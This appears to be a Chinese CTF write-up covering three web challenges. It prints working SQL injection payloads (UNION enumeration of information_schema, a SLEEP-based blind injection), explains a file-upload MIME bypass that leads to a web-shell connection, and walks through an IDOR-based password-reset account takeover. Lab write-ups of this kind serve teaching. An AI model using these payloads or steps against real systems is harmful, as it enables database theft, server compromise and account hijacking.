searchtitle=111' UNION ALL SELECT version(),NULL,NULL,NULL,NULL,database(),NULL,NULL-- qwe
查表:
searchtitle=111' UNION ALL SELECT table_name,NULL,NULL,NULL,NULL,database(),NULL,NULL from information_schema.tables where table_schema=database() limit 0,1 -- qwe
查字段:
searchtitle=111' UNION ALL SELECT column_name,NULL,NULL,NULL,NULL,database(),NULL,NULL from information_schema.columns where table_schema=database() and table_name="newsflag" -- qwe
获取flag:
searchtitle=111' UNION ALL SELECT CTFpass,NULL,NULL,NULL,NULL,database(),NULL,NULL from newsflag -- qwe
布尔盲注 或者 时间盲注:
searchtitle=111' AND (SELECT 6313 FROM (SELECT(SLEEP(5)))bRKX) AND '1'='1
123%' OR if(length(database())=10,1,0) AND 'urvA%'='urvA
然后就是基本的注入流程,flag在newsflag表中。
当然,用SQLMAP直接跑也是可以的,只不过会比较慢:
考点:文件上传、MIME类型绕过
打开题目,注册个账号,然后在上传视频处存在文件上传漏洞:
正常上传一个视频格式如mp4格式的文件,然后抓包,修改文件名即可上传成功:
f12获取文件地址,然后拼接访问:连上蚁剑获取flag.
考点:逻辑越权 、 账户接管
实际上这个题目,还是放了比较多的提示的,只不过需要细心找,题目的提示是:flag在一位用户手中,而这个系统只有一个登录页面,那么可能就是需要我们登录patient的后台或者通过注入或者什么手段获取到patient用户的相关数据从而获取flag.
打开题目,这里为了防止选手出现相互干扰的情况,特意设置了密码长度需要八位以上。
注册一个用户:注册好之后会直接登录进后台
接下来就是各个功能点尝试测试,在settings中可以查看个人的基本资料,实际上这里原始代码中是存在任意用户信息查看漏洞的,但是这里如果配合后面的账户接管漏洞,容易将其他选手的账户密码给重置,所以这里设置了只能越权查看那位名叫patient的用户信息
点击`View Account Details之后看可以看到url中有个id参数:尝试修改这个id参数,弹出查询失败
但是,真的就不能查吗?如果我遍历一下会怎样呢?抓包,尝试遍历id参数1-999:
筛选一下,可以看到id=234数据包长度有异常:
拼接url后访问:我们获得了patient用户的邮箱为patient@mypatient.com
但这个时候我们依旧没有任何其他提示,只获得了patient用户的邮箱,细心的同学可以发现,我们登录的时候只允许以邮箱的方式去登录,那么这里,多半是需要拿着这个邮箱去登录patient用户的后台。
接续探索,在settings中还有更改个人信息的功能:
这个时候你可能会察觉到url中还有一个id参数,然而我们更改这个id参数之后会发现没啥用,不会有其他用户的信息显示:
因此,尝试在信息修改的时候做文章,重新填写符合要求的密码后抓包:可以看到有一个id00参数,不过被base64编码了,解码之后发现是:400,正是id值
那么这里可以大胆猜测一下,id00表示的是用户的唯一标识(即身份标识),我们刚刚通过遍历得到了patient用户的id值和邮箱,我们是否可以直接通过edit-user.php重置他的密码呢?试试看,将234进行base64加密,邮箱改成patient@mypatient.com
看起来成功了,登录试试:登录成功,获得flag.
最后,由于本次比赛中有一些对往期其他大型CTF赛事中题目的参考和借鉴,所以在这里要向相关赛事的前辈们表示由衷的感谢!!!同时也感谢参与本次CTF赛事的各位同学,以及感谢支持这场比赛的领导和同事!最后感谢您的观看!
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.